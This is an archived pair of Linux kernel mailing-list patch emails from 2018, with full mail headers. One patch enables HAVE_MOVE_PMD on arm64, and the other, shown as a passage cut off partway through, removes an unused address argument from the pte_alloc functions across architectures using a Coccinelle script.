Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gB8lW-0003zQ-Me
	for gla-linux-snps-arc@m.gmane.org; Sat, 13 Oct 2018 03:30:50 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=7nbaYAZCArkwulWcph7mnWBdigkVmF+XmR+PMMvt/cc=; b=i5fuiKu2eQo613
	Ab6hpclGDFS1Vo5SYmtyLQ1/6ezXH8OO+KZVcKLDRrSDN5cni9jAOe3wwVjYJM0D0cIsB+OXdvHQk
	JRtfmmA80qVkOX3nEc9uxnQuQhFxbKv0txubdmBU5efVY2eDJXn3AYdPyecCjYD4+SS4KWW7u2c5o
	yb3mIkSOD84BMydBXRFBVWtt+yAnO/LW4qt6b+hqqAhylr9nfCkt3LF4yGlT8WvENEyeImLSpv1bi
	nhox6wWhgvOkOrO8KWt3BLZAcFtdNAzBkrHAPlcnJhU6I8pYpYiIaEkfuUKhbo9lzSC+lYeNVmPSm
	kNEfpU+abMnK4IlhnXpg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB8na-0004XL-5N; Sat, 13 Oct 2018 01:32:58 +0000
Original-Received: from mail-pf1-x444.google.com ([2607:f8b0:4864:20::444])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB8nC-0004M4-DO
 for linux-snps-arc@lists.infradead.org; Sat, 13 Oct 2018 01:32:54 +0000
Original-Received: by mail-pf1-x444.google.com with SMTP id 78-v6so4629001pfq.0
 for <linux-snps-arc@lists.infradead.org>; Fri, 12 Oct 2018 18:32:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references
 :mime-version:content-transfer-encoding;
 bh=bjYTsH4Iq69Ub7N2c7p2HOCfpyLGuHcm9WhDWE1Dnwg=;
 b=pvEfVikziMJRWxtTRTm3WwDM1z7pcXybcAtnjCIyQdfWN8O5jRGdCgjUlGTjsMAT/F
 saWeGlI2HK0vC3ro6vBYXn3xIZY1BMwuP8djzpt6M+eKMtkHqPqZ+mldfVclfk22srUA
 b5EsPUgxygKFL8hgKZ6UMDusfAYxbbW7exB4M=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references:mime-version:content-transfer-encoding;
 bh=bjYTsH4Iq69Ub7N2c7p2HOCfpyLGuHcm9WhDWE1Dnwg=;
 b=jqBRZZwtYnGBbF6iodYBNwF0AoZyMS8WlBClalzAvHE0W2Wdp3rV427BtpAwKs18H5
 Fls6EOYh8JSinlj2v/KS52ZJZA7/gTUnm2Rwus1Acnu/DPbQe/kXiGz5W56XXCHel2R/
 VkJPjmGQn8rjzBGFUb+XIzuM9PZ3ISrABq27bkcjwwwKg3gWkI60Xk9F+VtJhcHAXN1T
 EYNmG9F2JzpGWgmo0lvBVA3S87VUPWqxsEezPN2rPsRfC3tcRxtMoAHrlDZ8Iaq2wbKB
 0pqOGll+ciRQrAuDjdawXjdJu+CHFxdBfCc3JX6ka3tPNPBfCzdcFPfJw5qTKS1Hw4TH
 VP3w==
X-Gm-Message-State: ABuFfoi+Qp8kZqBvCI++cSa+iOvgd0CFO0ScoR9kp3Sr/wnMsHgroN5H
 sMFzR0B8TpFo3sKnFGEQWFId+Q==
X-Google-Smtp-Source: ACcGV60ecPJwErRYv7rdeDNNhheUXmreqwFNvyYIFQM0w7YuygsKhKKgtC5tCiolpW/Ws3yIGetyhA==
X-Received: by 2002:a63:2a11:: with SMTP id
 q17-v6mr7630469pgq.374.1539394345842; 
 Fri, 12 Oct 2018 18:32:25 -0700 (PDT)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id q7-v6sm6507828pfd.164.2018.10.12.18.32.23
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 18:32:24 -0700 (PDT)
X-Mailer: git-send-email 2.19.0.605.g01d371f741-goog
In-Reply-To: <20181013013200.206928-1-joel@joelfernandes.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_183234_477766_AD094C18 
X-CRM114-Status: GOOD (  10.33  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:444 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4544 gmane.linux.kernel:2898078 gmane.linux.ports.mips.general:67069 gmane.linux.ports.ia64:29395 gmane.linux.ports.sh.devel:57642 gmane.linux.kernel.mm:205237 gmane.linux.ports.riscv:1064 gmane.comp.emulators.kvm.arm.devel:19455 gmane.linux.ports.sparc:28569 gmane.linux.ports.hexagon:1917 gmane.linux.ports.parisc:29170 gmane.linux.ports.alpha:5319 gmane.linux.ports.ppc64.devel:164169
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4544>

Moving page-tables at the PMD-level on arm64 is known to be safe. Enable
this option so that we can do fast mremap when possible.

Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
---
 arch/arm64/Kconfig | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 1b1a0e95c751..5d7c35c6f90c 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -135,6 +135,7 @@ config ARM64
 	select HAVE_IRQ_TIME_ACCOUNTING
 	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP if NUMA
+	select HAVE_MOVE_PMD
 	select HAVE_NMI
 	select HAVE_PATA_PLATFORM
 	select HAVE_PERF_EVENTS
-- 
2.19.0.605.g01d371f741-goog

From - Thu Nov 08 21:42:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 1/4] treewide: remove unused address argument from pte_alloc
 functions (v2)
Date: Fri, 12 Oct 2018 18:31:57 -0700
Lines: 1120
Approved: news@gmane.org
Message-ID: <20181013013200.206928-2-joel@joelfernandes.org>
References: <20181013013200.206928-1-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539394267 16689 195.159.176.226 (13 Oct 2018 01:31:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 01:31:07 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.i
To: linux-kernel@vger.kernel.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Sat Oct 13 03:30:57 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gB8lc-000479-HI
	for glpr-linux-riscv@m.gmane.org; Sat, 13 Oct 2018 03:30:57 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=oMiZxsuND/ef8ECyVOQOZCmw6USWVshCLv5OBNGd47w=; b=LdfP7ex3Vj9DR2
	Xny6Yq3imYPgs3yK+B4tlNtgZbs2PY5F1kIhHpUDtrg19zSY9vzQFC+Ar1NRY+TI/DwDL64L5DSSX
	SUr1ORJ5wZe8h4e7vJB7YEKvdlileOjjTnqyWw29fCwyPwAYNK0AhQEPCj+GDQDBpr3b9Q6mxn/BB
	uECRXVxGVJHnBvcANlzazYT34yDyTVqlIU47hWfQJvUPIWjnlY+36L56YVh6pBvLWNJUR4ZTdYogI
	f4kamHcGnRpwSvxrummSThjhu8oSAmvZm4Br/QdPWhZpTLo81mbclZ/lN5l1uYmwdRiGepb7anlLA
	HHyhyglNloklWI0zpg3A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB8nf-0004YA-Or; Sat, 13 Oct 2018 01:33:03 +0000
Original-Received: from mail-pg1-x544.google.com ([2607:f8b0:4864:20::544])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB8n8-0004Lt-Hp
 for linux-riscv@lists.infradead.org; Sat, 13 Oct 2018 01:32:58 +0000
Original-Received: by mail-pg1-x544.google.com with SMTP id v133-v6so6607900pgb.2
 for <linux-riscv@lists.infradead.org>; Fri, 12 Oct 2018 18:32:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references
 :mime-version:content-transfer-encoding;
 bh=0sRjXn2dK5H4xQP6wwJvsW01LBYREnTHgQCKnV0JuN4=;
 b=BOKGVgUQ1Z81inoORMHdxN/BHRMrEFXnxE79M0nSwAXtTfWViKO5Q20kPlzhvdEugt
 cXPkRGWgIc5MKMVV4vqgE4kzC3Ax0iZb+JGaWDghNBWkLPJ1HMGTD2nOAqfXbUAVzkd6
 lGEffBIR8kSC0pwgssjTZELJEymkWD/jjgcLw=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references:mime-version:content-transfer-encoding;
 bh=0sRjXn2dK5H4xQP6wwJvsW01LBYREnTHgQCKnV0JuN4=;
 b=omqTnuZTtLAk/3mGQaG1LvAGZfFKLh+iUWEsfQbzTph/iwJEe+YwG029rPEloprPEL
 MzHom0kD33sWVzoYT5SaZMKMBEOFi5zRdu8wypohI2EJYklC/76GtMgvxHuAy+f2jcku
 Zw7/mBUNvl9zpC22/cy+ODpyqn3AU9EIvYqWISvd/dtK1XPFQpgOx/bomcGp6d+TSTbO
 QAKtz7qWAWHuM60eTz8HZ42DsZ57Vpoh2oZxdv/xkqF3rK8YFotiR9pcz6HNPTOwdhui
 xXeXdVmCkt/3h08yoNQiD5jAkSxByEEx2y11dfakcC7AgqmRXXesxT8R96k6CKlMOjwO
 H9MA==
X-Gm-Message-State: ABuFfoiEaFUvOpUJaYwl5kvFCjuODqW/ycO+QoJv9QGfL97ajO0gE2s5
 +xzPe9ecbN36Cy3oJ/h4TI7TOQ==
X-Google-Smtp-Source: ACcGV63E6MLR5VFNDXRp7KV7Mo5hrjCP9P2gmjBqyrcfmtffAH3YoCoKQ4veGxOI/voVgbrGB01bow==
X-Received: by 2002:a63:24f:: with SMTP id 76-v6mr7525047pgc.67.1539394340346; 
 Fri, 12 Oct 2018 18:32:20 -0700 (PDT)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id q7-v6sm6507828pfd.164.2018.10.12.18.32.17
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 18:32:19 -0700 (PDT)
X-Mailer: git-send-email 2.19.0.605.g01d371f741-goog
In-Reply-To: <20181013013200.206928-1-joel@joelfernandes.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_183230_659933_57EA5CB3 
X-CRM114-Status: GOOD (  16.39  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:544 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1065 gmane.linux.kernel:2898079 gmane.linux.ports.mips.general:67070 gmane.linux.ports.ia64:29396 gmane.linux.ports.sh.devel:57643 gmane.linux.kernel.mm:205238 gmane.comp.emulators.kvm.arm.devel:19456 gmane.linux.ports.sparc:28570 gmane.linux.ports.hexagon:1918 gmane.linux.kernel.arc:4545 gmane.linux.ports.parisc:29171 gmane.linux.ports.alpha:5320 gmane.linux.ports.ppc64.devel:164170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1065>

This series speeds up mremap(2) syscall by copying page tables at the
PMD level even for non-THP systems. There is concern that the extra
'address' argument that mremap passes to pte_alloc may do something
subtle architecture related in the future that may make the scheme not
work.  Also we find that there is no point in passing the 'address' to
pte_alloc since its unused. So this patch therefore removes this
argument tree-wide resulting in a nice negative diff as well. Also
ensuring along the way that the enabled architectures do not do anything
funky with 'address' argument that goes unnoticed by the optimization.

Build and boot tested on x86-64. Build tested on arm64.

The changes were obtained by applying the following Coccinelle script.
(thanks Julia for answering all Coccinelle questions!).
Following fix ups were done manually:
* Removal of address argument from  pte_fragment_alloc
* Removal of pte_alloc_one_fast definitions from m68k and microblaze.

// Options: --include-headers --no-includes
// Note: I split the 'identifier fn' line, so if you are manually
// running it, please unsplit it so it runs for you.

virtual patch

@pte_alloc_func_def depends on patch exists@
identifier E2;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
type T2;
@@

 fn(...
- , T2 E2
 )
 { ... }

@pte_alloc_func_proto_noarg depends on patch exists@
type T1, T2, T3, T4;
identifier fn =~ "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

(
- T3 fn(T1, T2);
+ T3 fn(T1);
|
- T3 fn(T1, T2, T4);
+ T3 fn(T1, T2);
)

@pte_alloc_func_proto depends on patch exists@
identifier E1, E2, E4;
type T1, T2, T3, T4;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

(
- T3 fn(T1 E1, T2 E2);
+ T3 fn(T1 E1);
|
- T3 fn(T1 E1, T2 E2, T4 E4);
+ T3 fn(T1 E1, T2 E2);
)

@pte_alloc_func_call depends on patch exists@
expression E2;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

 fn(...
-,  E2
 )

@pte_alloc_macro depends on patch exists@
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
identifier a, b, c;
expression e;
position p;
@@

(
- #define fn(a, b, c) e
+ #define fn(a, b) e
|
- #define fn(a, b) e
+ #define fn(a) e
)

Suggested-by: Kirill A. Shutemov <kirill@shutemov.name>
Cc: Kirill A. Shutemov <kirill@shutemov.name>
Cc: Michal Hocko <mhocko@kernel.org>
Cc: Julia Lawall <Julia.Lawall@lip6.fr>
Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
---
 arch/alpha/include/asm/pgalloc.h             |  6 +++---
 arch/arc/include/asm/pgalloc.h               |  5 ++---
 arch/arm/include/asm/pgalloc.h               |  4 ++--
 arch/arm64/include/asm/pgalloc.h             |  4 ++--
 arch/hexagon/include/asm/pgalloc.h           |  6 ++----
 arch/ia64/include/asm/pgalloc.h              |  5 ++---
 arch/m68k/include/asm/mcf_pgalloc.h          |  8 ++------
 arch/m68k/include/asm/motorola_pgalloc.h     |  4 ++--
 arch/m68k/include/asm/sun3_pgalloc.h         |  6 ++----
 arch/microblaze/include/asm/pgalloc.h        | 19 ++-----------------
 arch/microblaze/mm/pgtable.c                 |  3 +--
 arch/mips/include/asm/pgalloc.h              |  6 ++----
 arch/nds32/include/asm/pgalloc.h             |  5 ++---
 arch/nios2/include/asm/pgalloc.h             |  6 ++----
 arch/openrisc/include/asm/pgalloc.h          |  5 ++---
 arch/openrisc/mm/ioremap.c                   |  3 +--
 arch/parisc/include/asm/pgalloc.h            |  4 ++--
 arch/powerpc/include/asm/book3s/32/pgalloc.h |  4 ++--
 arch/powerpc/include/asm/book3s/64/pgalloc.h | 12 +++++-------
 arch/powerpc/include/asm/nohash/32/pgalloc.h |  4 ++--
 arch/powerpc/include/asm/nohash/64/pgalloc.h |  6 ++----
 arch/powerpc/mm/pgtable-book3s64.c           |  2 +-
 arch/powerpc/mm/pgtable_32.c                 |  4 ++--
 arch/riscv/include/asm/pgalloc.h             |  6 ++----
 arch/s390/include/asm/pgalloc.h              |  4 ++--
 arch/sh/include/asm/pgalloc.h                |  6 ++----
 arch/sparc/include/asm/pgalloc_32.h          |  5 ++---
 arch/sparc/include/asm/pgalloc_64.h          |  6 ++----
 arch/sparc/mm/init_64.c                      |  6 ++----
 arch/sparc/mm/srmmu.c                        |  4 ++--
 arch/um/include/asm/pgalloc.h                |  4 ++--
 arch/um/kernel/mem.c                         |  4 ++--
 arch/unicore32/include/asm/pgalloc.h         |  4 ++--
 arch/x86/include/asm/pgalloc.h               |  4 ++--
 arch/x86/mm/pgtable.c                        |  4 ++--
 arch/xtensa/include/asm/pgalloc.h            |  8 +++-----
 include/linux/mm.h                           | 13 ++++++-------
 mm/huge_memory.c                             |  8 ++++----
 mm/kasan/kasan_init.c                        |  2 +-
 mm/memory.c                                  | 17 ++++++++---------
 mm/migrate.c                                 |  2 +-
 mm/mremap.c                                  |  2 +-
 mm/userfaultfd.c                             |  2 +-
 virt/kvm/arm/mmu.c                           |  2 +-
 44 files changed, 97 insertions(+), 147 deletions(-)

diff --git a/arch/alpha/include/asm/pgalloc.h b/arch/alpha/include/asm/pgalloc.h
index ab3e3a8638fb..02f9f91bb4f0 100644
--- a/arch/alpha/include/asm/pgalloc.h
+++ b/arch/alpha/include/asm/pgalloc.h
@@ -52,7 +52,7 @@ pmd_free(struct mm_struct *mm, pmd_t *pmd)
 }
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_ZERO);
 	return pte;
@@ -65,9 +65,9 @@ pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
-	pte_t *pte = pte_alloc_one_kernel(mm, address);
+	pte_t *pte = pte_alloc_one_kernel(mm);
 	struct page *page;
 
 	if (!pte)
diff --git a/arch/arc/include/asm/pgalloc.h b/arch/arc/include/asm/pgalloc.h
index 3749234b7419..9c9b5a5ebf2e 100644
--- a/arch/arc/include/asm/pgalloc.h
+++ b/arch/arc/include/asm/pgalloc.h
@@ -90,8 +90,7 @@ static inline int __get_order_pte(void)
 	return get_order(PTRS_PER_PTE * sizeof(pte_t));
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -102,7 +101,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
 	pgtable_t pte_pg;
 	struct page *page;
diff --git a/arch/arm/include/asm/pgalloc.h b/arch/arm/include/asm/pgalloc.h
index 2d7344f0e208..17ab72f0cc4e 100644
--- a/arch/arm/include/asm/pgalloc.h
+++ b/arch/arm/include/asm/pgalloc.h
@@ -81,7 +81,7 @@ static inline void clean_pte_table(pte_t *pte)
  *  +------------+
  */
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -93,7 +93,7 @@ pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/arm64/include/asm/pgalloc.h b/arch/arm64/include/asm/pgalloc.h
index 2e05bcd944c8..52fa47c73bf0 100644
--- a/arch/arm64/include/asm/pgalloc.h
+++ b/arch/arm64/include/asm/pgalloc.h
@@ -91,13 +91,13 @@ extern pgd_t *pgd_alloc(struct mm_struct *mm);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgdp);
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(PGALLOC_GFP);
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/hexagon/include/asm/pgalloc.h b/arch/hexagon/include/asm/pgalloc.h
index eeebf862c46c..d36183887b60 100644
--- a/arch/hexagon/include/asm/pgalloc.h
+++ b/arch/hexagon/include/asm/pgalloc.h
@@ -59,8 +59,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long) pgd);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-					 unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
@@ -75,8 +74,7 @@ static inline struct page *pte_alloc_one(struct mm_struct *mm,
 }
 
 /* _kernel variant gets to use a different allocator */
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	gfp_t flags =  GFP_KERNEL | __GFP_ZERO;
 	return (pte_t *) __get_free_page(flags);
diff --git a/arch/ia64/include/asm/pgalloc.h b/arch/ia64/include/asm/pgalloc.h
index 3ee5362f2661..c9e481023c25 100644
--- a/arch/ia64/include/asm/pgalloc.h
+++ b/arch/ia64/include/asm/pgalloc.h
@@ -83,7 +83,7 @@ pmd_populate_kernel(struct mm_struct *mm, pmd_t * pmd_entry, pte_t * pte)
 	pmd_val(*pmd_entry) = __pa(pte);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	void *pg;
@@ -99,8 +99,7 @@ static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
 	return page;
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long addr)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return quicklist_alloc(0, GFP_KERNEL, NULL);
 }
diff --git a/arch/m68k/include/asm/mcf_pgalloc.h b/arch/m68k/include/asm/mcf_pgalloc.h
index 12fe700632f4..4399d712f6db 100644
--- a/arch/m68k/include/asm/mcf_pgalloc.h
+++ b/arch/m68k/include/asm/mcf_pgalloc.h
@@ -12,8 +12,7 @@ extern inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 
 extern const char bad_pmd_string[];
 
-extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	unsigned long page = __get_free_page(GFP_DMA);
 
@@ -32,8 +31,6 @@ extern inline pmd_t *pmd_alloc_kernel(pgd_t *pgd, unsigned long address)
 #define pmd_alloc_one_fast(mm, address) ({ BUG(); ((pmd_t *)1); })
 #define pmd_alloc_one(mm, address)      ({ BUG(); ((pmd_t *)2); })
 
-#define pte_alloc_one_fast(mm, addr) pte_alloc_one(mm, addr)
-
 #define pmd_populate(mm, pmd, page) (pmd_val(*pmd) = \
 	(unsigned long)(page_address(page)))
 
@@ -50,8 +47,7 @@ static inline void __pte_free_tlb(struct mmu_gather *tlb, pgtable_t page,
 
 #define __pmd_free_tlb(tlb, pmd, address) do { } while (0)
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_pages(GFP_DMA, 0);
 	pte_t *pte;
